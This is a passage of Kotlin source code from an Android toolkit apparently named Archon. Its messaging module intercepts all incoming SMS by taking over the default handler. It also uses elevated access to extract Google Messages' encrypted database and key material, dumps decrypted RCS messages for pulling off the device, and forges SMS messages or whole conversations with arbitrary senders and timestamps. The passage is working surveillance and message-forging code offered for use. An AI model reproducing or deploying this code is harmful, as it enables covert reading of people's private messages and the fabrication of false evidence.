val results = repo.searchMessages(query)
|
||||
if (results.isEmpty()) {
|
||||
return ModuleResult(true, "No messages matching '$query'")
|
||||
}
|
||||
|
||||
val details = results.take(20).map { msg ->
|
||||
val direction = if (msg.type == 1) "recv" else "sent"
|
||||
val dateStr = SimpleDateFormat("MM/dd HH:mm", Locale.US).format(Date(msg.date))
|
||||
"[$direction] ${msg.address} ($dateStr): ${msg.body.take(60)}"
|
||||
}
|
||||
|
||||
val extra = if (results.size > 20) {
|
||||
listOf("... and ${results.size - 20} more results")
|
||||
} else {
|
||||
emptyList()
|
||||
}
|
||||
|
||||
return ModuleResult(true, "${results.size} message(s) matching '$query'",
|
||||
details + extra)
|
||||
}
|
||||
|
||||
private fun rcsStatus(context: Context, repo: MessagingRepository, shizuku: ShizukuManager): ModuleResult {
|
||||
val details = mutableListOf<String>()
|
||||
|
||||
// Check RCS availability
|
||||
val rcsAvailable = repo.isRcsAvailable()
|
||||
details.add("RCS available: $rcsAvailable")
|
||||
|
||||
if (rcsAvailable) {
|
||||
details.add("Provider: Google Messages")
|
||||
} else {
|
||||
details.add("RCS not detected — Google Messages may not be installed or RCS not enabled")
|
||||
}
|
||||
|
||||
// Check if we can access RCS provider
|
||||
if (shizuku.isReady()) {
|
||||
val canAccess = shizuku.accessRcsProvider()
|
||||
details.add("RCS provider access: $canAccess")
|
||||
|
||||
if (canAccess) {
|
||||
val rcsMessages = shizuku.readRcsDatabase()
|
||||
details.add("RCS messages readable: ${rcsMessages.size}")
|
||||
}
|
||||
} else {
|
||||
details.add("Elevated access needed for full RCS access")
|
||||
}
|
||||
|
||||
return ModuleResult(true,
|
||||
if (rcsAvailable) "RCS available" else "RCS not detected",
|
||||
details)
|
||||
}
|
||||
|
||||
private fun shizukuStatus(shizuku: ShizukuManager): ModuleResult {
|
||||
val status = shizuku.getStatus()
|
||||
val privilegeMethod = PrivilegeManager.getAvailableMethod()
|
||||
|
||||
val details = listOf(
|
||||
"Shizuku status: ${status.label}",
|
||||
"Privilege method: ${privilegeMethod.label}",
|
||||
"Elevated ready: ${shizuku.isReady()}",
|
||||
"Can write SMS DB: ${status == ShizukuManager.ShizukuStatus.READY}",
|
||||
"Can access RCS: ${status == ShizukuManager.ShizukuStatus.READY}"
|
||||
)
|
||||
|
||||
return ModuleResult(true, status.label, details)
|
||||
}
|
||||
|
||||
private fun interceptMode(shizuku: ShizukuManager, enable: Boolean): ModuleResult {
|
||||
if (!shizuku.isReady()) {
|
||||
return ModuleResult(false, "Elevated access required for interception")
|
||||
}
|
||||
|
||||
val success = shizuku.interceptSms(enable)
|
||||
return if (success) {
|
||||
val state = if (enable) "ENABLED" else "DISABLED"
|
||||
ModuleResult(true, "SMS interception $state",
|
||||
listOf(if (enable) {
|
||||
"Archon is now the default SMS handler — all incoming messages will be captured"
|
||||
} else {
|
||||
"Previous SMS handler restored"
|
||||
}))
|
||||
} else {
|
||||
ModuleResult(false, "Failed to ${if (enable) "enable" else "disable"} interception")
|
||||
}
|
||||
}
|
||||
|
||||
// ── Google Messages RCS database access ─────────────────────────
|
||||
|
||||
private fun rcsAccountInfo(shizuku: ShizukuManager): ModuleResult {
|
||||
if (!shizuku.isReady()) {
|
||||
return ModuleResult(false, "Elevated access required")
|
||||
}
|
||||
return try {
|
||||
val info = shizuku.getRcsAccountInfo()
|
||||
val details = mutableListOf<String>()
|
||||
details.add("IMS registered: ${info["ims_registered"] ?: "unknown"}")
|
||||
details.add("RCS enabled: ${info["rcs_enabled"] ?: "unknown"}")
|
||||
val gmsg = info["google_messages"] as? Map<*, *>
|
||||
if (gmsg != null) {
|
||||
details.add("Google Messages: v${gmsg["version"] ?: "?"} (UID: ${gmsg["uid"] ?: "?"})")
|
||||
}
|
||||
val rcsConfig = info["carrier_rcs_config"] as? Map<*, *>
|
||||
if (rcsConfig != null && rcsConfig.isNotEmpty()) {
|
||||
details.add("Carrier RCS keys: ${rcsConfig.size}")
|
||||
rcsConfig.entries.take(5).forEach { (k, v) ->
|
||||
details.add(" $k = $v")
|
||||
}
|
||||
}
|
||||
val gmsgPrefs = info["gmsg_rcs_prefs"] as? Map<*, *>
|
||||
if (gmsgPrefs != null && gmsgPrefs.isNotEmpty()) {
|
||||
details.add("Google Messages RCS prefs: ${gmsgPrefs.size}")
|
||||
gmsgPrefs.entries.take(5).forEach { (k, v) ->
|
||||
details.add(" $k = $v")
|
||||
}
|
||||
}
|
||||
ModuleResult(true, "RCS account info retrieved", details)
|
||||
} catch (e: Exception) {
|
||||
ModuleResult(false, "Failed: ${e.message}")
|
||||
}
|
||||
}
|
||||
|
||||
private fun extractBugleDb(shizuku: ShizukuManager): ModuleResult {
|
||||
if (!shizuku.isReady()) {
|
||||
return ModuleResult(false, "Elevated access required — bugle_db is encrypted at rest")
|
||||
}
|
||||
return try {
|
||||
val result = shizuku.extractBugleDbRaw()
|
||||
val dbFiles = result["db_files"] as? List<*> ?: emptyList<String>()
|
||||
val details = mutableListOf<String>()
|
||||
details.add("Database files: ${dbFiles.joinToString(", ")}")
|
||||
details.add("Staging dir: ${result["staging_dir"]}")
|
||||
details.add("ENCRYPTED: ${result["encrypted"]}")
|
||||
details.add(result["note"].toString())
|
||||
details.add("")
|
||||
details.add("Use AUTARCH web UI to pull from: ${result["staging_dir"]}")
|
||||
details.add("Key material in shared_prefs/ may enable offline decryption")
|
||||
details.add("Hardware-backed Keystore keys cannot be extracted via ADB")
|
||||
ModuleResult(dbFiles.isNotEmpty(), "Extracted ${dbFiles.size} DB files + key material", details)
|
||||
} catch (e: Exception) {
|
||||
ModuleResult(false, "Extract failed: ${e.message}")
|
||||
}
|
||||
}
|
||||
|
||||
private fun dumpDecrypted(shizuku: ShizukuManager): ModuleResult {
|
||||
if (!shizuku.isReady()) {
|
||||
return ModuleResult(false, "Elevated access required")
|
||||
}
|
||||
return try {
|
||||
val result = shizuku.dumpDecryptedMessages()
|
||||
val count = result["message_count"] as? Int ?: 0
|
||||
val details = mutableListOf<String>()
|
||||
details.add("Messages retrieved: $count")
|
||||
details.add("RCS provider accessible: ${result["rcs_provider_accessible"]}")
|
||||
if (result["json_path"] != null) {
|
||||
details.add("JSON dump: ${result["json_path"]}")
|
||||
}
|
||||
details.add(result["note"].toString())
|
||||
if (count > 0) {
|
||||
details.add("")
|
||||
details.add("Use AUTARCH web UI to pull the decrypted dump")
|
||||
}
|
||||
ModuleResult(count > 0, "$count messages dumped (decrypted)", details)
|
||||
} catch (e: Exception) {
|
||||
ModuleResult(false, "Dump failed: ${e.message}")
|
||||
}
|
||||
}
|
||||
|
||||
private fun extractKeys(shizuku: ShizukuManager): ModuleResult {
|
||||
if (!shizuku.isReady()) {
|
||||
return ModuleResult(false, "Elevated access required")
|
||||
}
|
||||
return try {
|
||||
val result = shizuku.extractEncryptionKeyMaterial()
|
||||
if (result.containsKey("error")) {
|
||||
return ModuleResult(false, result["error"].toString())
|
||||
}
|
||||
val details = mutableListOf<String>()
|
||||
val cryptoCount = result["crypto_prefs_count"] as? Int ?: 0
|
||||
details.add("Crypto-related shared_prefs files: $cryptoCount")
|
||||
val prefFiles = result["shared_prefs_files"] as? List<*>
|
||||
if (prefFiles != null) {
|
||||
details.add("Total shared_prefs files: ${prefFiles.size}")
|
||||
}
|
||||
val filesDir = result["files_dir"] as? List<*>
|
||||
if (filesDir != null) {
|
||||
details.add("Files dir entries: ${filesDir.size}")
|
||||
}
|
||||
details.add("")
|
||||
details.add("NOTE: bugle_db encryption key may be in these files.")
|
||||
details.add("Hardware-backed Android Keystore keys cannot be extracted.")
|
||||
details.add("If key derivation params are in shared_prefs, offline")
|
||||
details.add("decryption may be possible with the right tools.")
|
||||
ModuleResult(cryptoCount > 0, "Extracted $cryptoCount crypto-related files", details)
|
||||
} catch (e: Exception) {
|
||||
ModuleResult(false, "Key extraction failed: ${e.message}")
|
||||
}
|
||||
}
|
||||
|
||||
private fun gmsgInfo(shizuku: ShizukuManager): ModuleResult {
|
||||
return try {
|
||||
val info = shizuku.getGoogleMessagesInfo()
|
||||
if (info.isEmpty()) {
|
||||
return ModuleResult(false, "Google Messages not found or not accessible")
|
||||
}
|
||||
val details = info.map { (k, v) -> "$k: $v" }
|
||||
ModuleResult(true, "Google Messages v${info["version"] ?: "?"}", details)
|
||||
} catch (e: Exception) {
|
||||
ModuleResult(false, "Failed: ${e.message}")
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,940 @@
|
||||
package com.darkhal.archon.messaging
|
||||
|
||||
import android.content.ContentValues
|
||||
import android.content.Context
|
||||
import android.database.Cursor
|
||||
import android.net.Uri
|
||||
import android.provider.ContactsContract
|
||||
import android.provider.Telephony
|
||||
import android.telephony.SmsManager
|
||||
import android.util.Log
|
||||
import java.text.SimpleDateFormat
|
||||
import java.util.Date
|
||||
import java.util.Locale
|
||||
|
||||
/**
|
||||
* Data access layer for SMS/MMS/RCS messages using Android ContentResolver.
|
||||
*
|
||||
* Most write operations require the app to be the default SMS handler.
|
||||
* Use ShizukuManager or RoleManager to acquire that role first.
|
||||
*/
|
||||
class MessagingRepository(private val context: Context) {
|
||||
|
||||
companion object {
|
||||
private const val TAG = "MessagingRepo"
|
||||
|
||||
// SMS message types
|
||||
const val MESSAGE_TYPE_RECEIVED = 1
|
||||
const val MESSAGE_TYPE_SENT = 2
|
||||
const val MESSAGE_TYPE_DRAFT = 3
|
||||
const val MESSAGE_TYPE_OUTBOX = 4
|
||||
const val MESSAGE_TYPE_FAILED = 5
|
||||
const val MESSAGE_TYPE_QUEUED = 6
|
||||
|
||||
// Content URIs
|
||||
val URI_SMS: Uri = Uri.parse("content://sms/")
|
||||
val URI_MMS: Uri = Uri.parse("content://mms/")
|
||||
val URI_SMS_CONVERSATIONS: Uri = Uri.parse("content://sms/conversations/")
|
||||
val URI_MMS_SMS_CONVERSATIONS: Uri = Uri.parse("content://mms-sms/conversations/")
|
||||
val URI_MMS_SMS_COMPLETE: Uri = Uri.parse("content://mms-sms/complete-conversations/")
|
||||
|
||||
// RCS content provider (Google Messages)
|
||||
val URI_RCS_MESSAGES: Uri = Uri.parse("content://im/messages")
|
||||
val URI_RCS_THREADS: Uri = Uri.parse("content://im/threads")
|
||||
}
|
||||
|
||||
// ── Data classes ───────────────────────────────────────────────
|
||||
|
||||
data class Conversation(
|
||||
val threadId: Long,
|
||||
val address: String,
|
||||
val snippet: String,
|
||||
val date: Long,
|
||||
val messageCount: Int,
|
||||
val unreadCount: Int,
|
||||
val contactName: String?
|
||||
)
|
||||
|
||||
data class Message(
|
||||
val id: Long,
|
||||
val threadId: Long,
|
||||
val address: String,
|
||||
val body: String,
|
||||
val date: Long,
|
||||
val type: Int,
|
||||
val read: Boolean,
|
||||
val status: Int,
|
||||
val isRcs: Boolean,
|
||||
val isMms: Boolean,
|
||||
val contactName: String?
|
||||
)
|
||||
|
||||
// ── Read operations ────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Get all conversations from the combined SMS+MMS threads provider.
|
||||
* Falls back to SMS-only conversations if the combined provider is not available.
|
||||
*/
|
||||
fun getConversations(): List<Conversation> {
|
||||
val conversations = mutableListOf<Conversation>()
|
||||
val threadMap = mutableMapOf<Long, Conversation>()
|
||||
|
||||
try {
|
||||
// Query all SMS messages grouped by thread_id
|
||||
val cursor = context.contentResolver.query(
|
||||
URI_SMS,
|
||||
arrayOf("_id", "thread_id", "address", "body", "date", "read", "type"),
|
||||
null, null, "date DESC"
|
||||
)
|
||||
|
||||
cursor?.use {
|
||||
while (it.moveToNext()) {
|
||||
val threadId = it.getLongSafe("thread_id")
|
||||
if (threadId <= 0) continue
|
||||
|
||||
val existing = threadMap[threadId]
|
||||
if (existing != null) {
|
||||
// Update counts
|
||||
val unread = if (!it.getBoolSafe("read")) 1 else 0
|
||||
threadMap[threadId] = existing.copy(
|
||||
messageCount = existing.messageCount + 1,
|
||||
unreadCount = existing.unreadCount + unread
|
||||
)
|
||||
} else {
|
||||
val address = it.getStringSafe("address")
|
||||
val read = it.getBoolSafe("read")
|
||||
threadMap[threadId] = Conversation(
|
||||
threadId = threadId,
|
||||
address = address,
|
||||
snippet = it.getStringSafe("body"),
|
||||
date = it.getLongSafe("date"),
|
||||
messageCount = 1,
|
||||
unreadCount = if (!read) 1 else 0,
|
||||
contactName = getContactName(address)
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
conversations.addAll(threadMap.values)
|
||||
conversations.sortByDescending { it.date }
|
||||
|
||||
} catch (e: SecurityException) {
|
||||
Log.e(TAG, "No SMS read permission", e)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Failed to get conversations", e)
|
||||
}
|
||||
|
||||
return conversations
|
||||
}
|
||||
|
||||
/**
|
||||
* Get all messages in a specific thread, ordered by date ascending (oldest first).
|
||||
*/
|
||||
fun getMessages(threadId: Long): List<Message> {
|
||||
val messages = mutableListOf<Message>()
|
||||
|
||||
try {
|
||||
val cursor = context.contentResolver.query(
|
||||
URI_SMS,
|
||||
arrayOf("_id", "thread_id", "address", "body", "date", "type", "read", "status"),
|
||||
"thread_id = ?",
|
||||
arrayOf(threadId.toString()),
|
||||
"date ASC"
|
||||
)
|
||||
|
||||
cursor?.use {
|
||||
while (it.moveToNext()) {
|
||||
val address = it.getStringSafe("address")
|
||||
messages.add(Message(
|
||||
id = it.getLongSafe("_id"),
|
||||
threadId = it.getLongSafe("thread_id"),
|
||||
address = address,
|
||||
body = it.getStringSafe("body"),
|
||||
date = it.getLongSafe("date"),
|
||||
type = it.getIntSafe("type"),
|
||||
read = it.getBoolSafe("read"),
|
||||
status = it.getIntSafe("status"),
|
||||
isRcs = false,
|
||||
isMms = false,
|
||||
contactName = getContactName(address)
|
||||
))
|
||||
}
|
||||
}
|
||||
|
||||
// Also try to load MMS messages for this thread
|
||||
loadMmsForThread(threadId, messages)
|
||||
|
||||
// Sort combined list by date
|
||||
messages.sortBy { it.date }
|
||||
|
||||
} catch (e: SecurityException) {
|
||||
Log.e(TAG, "No SMS read permission", e)
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Failed to get messages for thread $threadId", e)
|
||||
}
|
||||
|
||||
return messages
|
||||
}
|
||||
|
||||
/**
|
||||
* Get a single message by ID.
|
||||
*/
|
||||
fun getMessage(id: Long): Message? {
|
||||
try {
|
||||
val cursor = context.contentResolver.query(
|
||||
URI_SMS,
|
||||
arrayOf("_id", "thread_id", "address", "body", "date", "type", "read", "status"),
|
||||
"_id = ?",
|
||||
arrayOf(id.toString()),
|
||||
null
|
||||
)
|
||||
|
||||
cursor?.use {
|
||||
if (it.moveToFirst()) {
|
||||
val address = it.getStringSafe("address")
|
||||
return Message(
|
||||
id = it.getLongSafe("_id"),
|
||||
threadId = it.getLongSafe("thread_id"),
|
||||
address = address,
|
||||
body = it.getStringSafe("body"),
|
||||
date = it.getLongSafe("date"),
|
||||
type = it.getIntSafe("type"),
|
||||
read = it.getBoolSafe("read"),
|
||||
status = it.getIntSafe("status"),
|
||||
isRcs = false,
|
||||
isMms = false,
|
||||
contactName = getContactName(address)
|
||||
)
|
||||
}
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Failed to get message $id", e)
|
||||
}
|
||||
return null
|
||||
}
|
||||
|
||||
/**
|
||||
* Full-text search across all SMS message bodies.
|
||||
*/
|
||||
fun searchMessages(query: String): List<Message> {
|
||||
val messages = mutableListOf<Message>()
|
||||
if (query.isBlank()) return messages
|
||||
|
||||
try {
|
||||
val cursor = context.contentResolver.query(
|
||||
URI_SMS,
|
||||
arrayOf("_id", "thread_id", "address", "body", "date", "type", "read", "status"),
|
||||
"body LIKE ?",
|
||||
arrayOf("%$query%"),
|
||||
"date DESC"
|
||||
)
|
||||
|
||||
cursor?.use {
|
||||
while (it.moveToNext()) {
|
||||
val address = it.getStringSafe("address")
|
||||
messages.add(Message(
|
||||
id = it.getLongSafe("_id"),
|
||||
threadId = it.getLongSafe("thread_id"),
|
||||
address = address,
|
||||
body = it.getStringSafe("body"),
|
||||
date = it.getLongSafe("date"),
|
||||
type = it.getIntSafe("type"),
|
||||
read = it.getBoolSafe("read"),
|
||||
status = it.getIntSafe("status"),
|
||||
isRcs = false,
|
||||
isMms = false,
|
||||
contactName = getContactName(address)
|
||||
))
|
||||
}
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Search failed for '$query'", e)
|
||||
}
|
||||
|
||||
return messages
|
||||
}
|
||||
|
||||
/**
|
||||
* Lookup contact display name by phone number.
|
||||
*/
|
||||
fun getContactName(address: String): String? {
|
||||
if (address.isBlank()) return null
|
||||
|
||||
try {
|
||||
val uri = Uri.withAppendedPath(
|
||||
ContactsContract.PhoneLookup.CONTENT_FILTER_URI,
|
||||
Uri.encode(address)
|
||||
)
|
||||
val cursor = context.contentResolver.query(
|
||||
uri,
|
||||
arrayOf(ContactsContract.PhoneLookup.DISPLAY_NAME),
|
||||
null, null, null
|
||||
)
|
||||
|
||||
cursor?.use {
|
||||
if (it.moveToFirst()) {
|
||||
val idx = it.getColumnIndex(ContactsContract.PhoneLookup.DISPLAY_NAME)
|
||||
if (idx >= 0) return it.getString(idx)
|
||||
}
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
// Contact lookup can fail for short codes, etc.
|
||||
Log.d(TAG, "Contact lookup failed for $address: ${e.message}")
|
||||
}
|
||||
return null
|
||||
}
|
||||
|
||||
// ── Write operations (requires default SMS app role) ──────────
|
||||
|
||||
/**
|
||||
* Send an SMS message via SmsManager.
|
||||
* Returns true if the message was submitted to the system for sending.
|
||||
*/
|
||||
fun sendSms(address: String, body: String): Boolean {
|
||||
return try {
|
||||
val smsManager = context.getSystemService(SmsManager::class.java)
|
||||
if (body.length > 160) {
|
||||
val parts = smsManager.divideMessage(body)
|
||||
smsManager.sendMultipartTextMessage(address, null, parts, null, null)
|
||||
} else {
|
||||
smsManager.sendTextMessage(address, null, body, null, null)
|
||||
}
|
||||
// Also insert into sent box
|
||||
insertSms(address, body, MESSAGE_TYPE_SENT, System.currentTimeMillis(), true)
|
||||
true
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Failed to send SMS to $address", e)
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Insert an SMS record into the content provider.
|
||||
* Requires default SMS app role for writing.
|
||||
*
|
||||
* @param type 1=received, 2=sent, 3=draft, 4=outbox, 5=failed, 6=queued
|
||||
* @return the row ID of the inserted message, or -1 on failure
|
||||
*/
|
||||
fun insertSms(address: String, body: String, type: Int, date: Long, read: Boolean): Long {
|
||||
return try {
|
||||
val values = ContentValues().apply {
|
||||
put("address", address)
|
||||
put("body", body)
|
||||
put("type", type)
|
||||
put("date", date)
|
||||
put("read", if (read) 1 else 0)
|
||||
put("seen", 1)
|
||||
}
|
||||
|
||||
val uri = context.contentResolver.insert(URI_SMS, values)
|
||||
if (uri != null) {
|
||||
val id = uri.lastPathSegment?.toLongOrNull() ?: -1L
|
||||
Log.i(TAG, "Inserted SMS id=$id type=$type addr=$address")
|
||||
id
|
||||
} else {
|
||||
Log.w(TAG, "SMS insert returned null URI — app may not be default SMS handler")
|
||||
-1L
|
||||
}
|
||||
} catch (e: SecurityException) {
|
||||
Log.e(TAG, "No write permission — must be default SMS app", e)
|
||||
-1L
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Failed to insert SMS", e)
|
||||
-1L
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Update an existing SMS message's fields.
|
||||
*/
|
||||
fun updateMessage(id: Long, body: String?, type: Int?, date: Long?, read: Boolean?): Boolean {
|
||||
return try {
|
||||
val values = ContentValues()
|
||||
body?.let { values.put("body", it) }
|
||||
type?.let { values.put("type", it) }
|
||||
date?.let { values.put("date", it) }
|
||||
read?.let { values.put("read", if (it) 1 else 0) }
|
||||
|
||||
if (values.size() == 0) return false
|
||||
|
||||
val count = context.contentResolver.update(
|
||||
Uri.parse("content://sms/$id"),
|
||||
values, null, null
|
||||
)
|
||||
Log.i(TAG, "Updated SMS id=$id, rows=$count")
|
||||
count > 0
|
||||
} catch (e: SecurityException) {
|
||||
Log.e(TAG, "No write permission for update", e)
|
||||
false
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Failed to update message $id", e)
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Delete a single SMS message by ID.
|
||||
*/
|
||||
fun deleteMessage(id: Long): Boolean {
|
||||
return try {
|
||||
val count = context.contentResolver.delete(
|
||||
Uri.parse("content://sms/$id"), null, null
|
||||
)
|
||||
Log.i(TAG, "Deleted SMS id=$id, rows=$count")
|
||||
count > 0
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Failed to delete message $id", e)
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Delete all messages in a conversation thread.
|
||||
*/
|
||||
fun deleteConversation(threadId: Long): Boolean {
|
||||
return try {
|
||||
val count = context.contentResolver.delete(
|
||||
URI_SMS, "thread_id = ?", arrayOf(threadId.toString())
|
||||
)
|
||||
Log.i(TAG, "Deleted conversation thread=$threadId, rows=$count")
|
||||
count > 0
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Failed to delete conversation $threadId", e)
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Mark all messages in a thread as read.
|
||||
*/
|
||||
fun markAsRead(threadId: Long): Boolean {
|
||||
return try {
|
||||
val values = ContentValues().apply {
|
||||
put("read", 1)
|
||||
put("seen", 1)
|
||||
}
|
||||
val count = context.contentResolver.update(
|
||||
URI_SMS, values,
|
||||
"thread_id = ? AND read = 0",
|
||||
arrayOf(threadId.toString())
|
||||
)
|
||||
Log.i(TAG, "Marked $count messages as read in thread $threadId")
|
||||
count >= 0
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Failed to mark thread $threadId as read", e)
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
// ── Spoofing / Forging ─────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Insert a forged message with arbitrary sender, body, timestamp, and direction.
|
||||
* This creates a message that appears to come from the given address
|
||||
* at the given time, regardless of whether it was actually received.
|
||||
*
|
||||
* Requires default SMS app role.
|
||||
*
|
||||
* @param type MESSAGE_TYPE_RECEIVED (1) to fake incoming, MESSAGE_TYPE_SENT (2) to fake outgoing
|
||||
* @return the row ID of the forged message, or -1 on failure
|
||||
*/
|
||||
fun forgeMessage(
|
||||
address: String,
|
||||
body: String,
|
||||
type: Int,
|
||||
date: Long,
|
||||
contactName: String? = null,
|
||||
read: Boolean = true
|
||||
): Long {
|
||||
return try {
|
||||
val values = ContentValues().apply {
|
||||
put("address", address)
|
||||
put("body", body)
|
||||
put("type", type)
|
||||
put("date", date)
|
||||
put("read", if (read) 1 else 0)
|
||||
put("seen", 1)
|
||||
// Set status to complete for sent messages
|
||||
if (type == MESSAGE_TYPE_SENT) {
|
||||
put("status", Telephony.Sms.STATUS_COMPLETE)
|
||||
}
|
||||
// person field links to contacts — we leave it null for forged messages
|
||||
// unless we want to explicitly associate with a contact
|
||||
contactName?.let { put("person", 0) }
|
||||
}
|
||||
|
||||
val uri = context.contentResolver.insert(URI_SMS, values)
|
||||
if (uri != null) {
|
||||
val id = uri.lastPathSegment?.toLongOrNull() ?: -1L
|
||||
Log.i(TAG, "Forged SMS id=$id type=$type addr=$address date=$date")
|
||||
id
|
||||
} else {
|
||||
Log.w(TAG, "Forge insert returned null — not default SMS app?")
|
||||
-1L
|
||||
}
|
||||
} catch (e: SecurityException) {
|
||||
Log.e(TAG, "Forge failed — no write permission", e)
|
||||
-1L
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Forge failed", e)
|
||||
-1L
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Create an entire fake conversation by inserting multiple messages.
|
||||
*
|
||||
* @param messages list of (body, type) pairs where type is 1=received, 2=sent
|
||||
* @return the thread ID of the created conversation, or -1 on failure
|
||||
*/
|
||||
fun forgeConversation(address: String, messages: List<Pair<String, Int>>): Long {
|
||||
if (messages.isEmpty()) return -1L
|
||||
|
||||
// Insert messages with increasing timestamps, 1-5 minutes apart
|
||||
var timestamp = System.currentTimeMillis() - (messages.size * 180_000L) // Start N*3min ago
|
||||
var threadId = -1L
|
||||
|
||||
for ((body, type) in messages) {
|
||||
val id = forgeMessage(address, body, type, timestamp, read = true)
|
||||
if (id < 0) {
|
||||
Log.e(TAG, "Failed to forge message in conversation")
|
||||
return -1L
|
||||
}
|
||||
|
||||
// Get the thread ID from the first inserted message
|
||||
if (threadId < 0) {
|
||||
val msg = getMessage(id)
|
||||
threadId = msg?.threadId ?: -1L
|
||||
}
|
||||
|
||||
// Advance 1-5 minutes
|
||||
timestamp += (60_000L + (Math.random() * 240_000L).toLong())
|
||||
}
|
||||
|
||||
Log.i(TAG, "Forged conversation: addr=$address, msgs=${messages.size}, thread=$threadId")
|
||||
return threadId
|
||||
}
|
||||
|
||||
// ── Export / Backup ────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Export a conversation to SMS Backup & Restore compatible XML format.
|
||||
*/
|
||||
fun exportConversation(threadId: Long, format: String = "xml"): String {
|
||||
val messages = getMessages(threadId)
|
||||
if (messages.isEmpty()) return ""
|
||||
|
||||
return when (format.lowercase()) {
|
||||
"xml" -> exportToXml(messages)
|
||||
"csv" -> exportToCsv(messages)
|
||||
else -> exportToXml(messages)
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Export all SMS messages to the specified format.
|
||||
*/
|
||||
fun exportAllMessages(format: String = "xml"): String {
|
||||
val allMessages = mutableListOf<Message>()
|
||||
|
||||
try {
|
||||
val cursor = context.contentResolver.query(
|
||||
URI_SMS,
|
||||
arrayOf("_id", "thread_id", "address", "body", "date", "type", "read", "status"),
|
||||
null, null, "date ASC"
|
||||
)
|
||||
|
||||
cursor?.use {
|
||||
while (it.moveToNext()) {
|
||||
val address = it.getStringSafe("address")
|
||||
allMessages.add(Message(
|
||||
id = it.getLongSafe("_id"),
|
||||
threadId = it.getLongSafe("thread_id"),
|
||||
address = address,
|
||||
body = it.getStringSafe("body"),
|
||||
date = it.getLongSafe("date"),
|
||||
type = it.getIntSafe("type"),
|
||||
read = it.getBoolSafe("read"),
|
||||
status = it.getIntSafe("status"),
|
||||
isRcs = false,
|
||||
isMms = false,
|
||||
contactName = getContactName(address)
|
||||
))
|
||||
}
|
||||
}
|
||||
} catch (e: Exception) {
|
||||
Log.e(TAG, "Failed to export all messages", e)
|
||||
return "<!-- Export error: ${e.message} -->"
|
||||
}
|
||||
|
||||
return when (format.lowercase()) {
|
||||
"xml" -> exportToXml(allMessages)
|
||||
"csv" -> exportToCsv(allMessages)
|
||||
else -> exportToXml(allMessages)
|
||||
}
|
||||
}
|
||||
|
||||
private fun exportToXml(messages: List<Message>): String {
|
||||
val sb = StringBuilder()
|
||||
sb.appendLine("<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>")
|
||||
sb.appendLine("<?xml-stylesheet type=\"text/xsl\" href=\"sms.xsl\"?>")
|
||||
sb.appendLine("<smses count=\"${messages.size}\">")
|
||||
|
||||
val dateFormat = SimpleDateFormat("MMM dd, yyyy hh:mm:ss a", Locale.US)
|
||||
|
||||
for (msg in messages) {
|
||||
val typeStr = when (msg.type) {
|
||||
MESSAGE_TYPE_RECEIVED -> "1"
|
||||
MESSAGE_TYPE_SENT -> "2"
|
||||
MESSAGE_TYPE_DRAFT -> "3"
|
||||
else -> msg.type.toString()
|
||||
}
|
||||
val readableDate = dateFormat.format(Date(msg.date))
|
||||
val escapedBody = escapeXml(msg.body)
|
||||
val escapedAddr = escapeXml(msg.address)
|
||||
val contactStr = escapeXml(msg.contactName ?: "(Unknown)")
|
||||
|
||||
sb.appendLine(" <sms protocol=\"0\" address=\"$escapedAddr\" " +
|
||||
"date=\"${msg.date}\" type=\"$typeStr\" " +
|
||||
"subject=\"null\" body=\"$escapedBody\" " +
|
||||
"toa=\"null\" sc_toa=\"null\" service_center=\"null\" " +
|
||||
"read=\"${if (msg.read) "1" else "0"}\" status=\"${msg.status}\" " +
|
||||
"locked=\"0\" date_sent=\"0\" " +
|
||||
"readable_date=\"$readableDate\" " +
|
||||
"contact_name=\"$contactStr\" />")
|
||||
}
|
||||
|
||||
sb.appendLine("</smses>")
|
||||
return sb.toString()
|
||||
}
|
||||
|
||||
private fun exportToCsv(messages: List<Message>): String {
|
||||
val sb = StringBuilder()
|
||||
sb.appendLine("id,thread_id,address,contact_name,body,date,type,read,status")
|
||||
|
||||
for (msg in messages) {
|
||||
val escapedBody = escapeCsv(msg.body)
|
||||
val contact = escapeCsv(msg.contactName ?: "")
|
||||
sb.appendLine("${msg.id},${msg.threadId},\"${msg.address}\",\"$contact\"," +
|
||||
"\"$escapedBody\",${msg.date},${msg.type},${if (msg.read) 1 else 0},${msg.status}")
|
||||
}
|
||||
|
||||
return sb.toString()
|
||||
}
|
||||
|
||||
// ── RCS operations ─────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Attempt to read RCS messages from Google Messages' content provider.
|
||||
* This requires Shizuku or root access since the provider is protected.
|
||||
* Falls back gracefully if not accessible.
|
||||
*/
|
||||
fun getRcsMessages(threadId: Long): List<Message> {
|
||||
val messages = mutableListOf<Message>()
|
||||
|
||||
try {
|
||||
val cursor = context.contentResolver.query(
|
||||
URI_RCS_MESSAGES,
|
||||
null,
|
||||
"thread_id = ?",
|
||||
arrayOf(threadId.toString()),
|
||||
"date ASC"
|
||||
)
|
||||
|
||||
cursor?.use {
|
||||
val cols = it.columnNames.toList()
|
||||
while (it.moveToNext()) {
|
||||
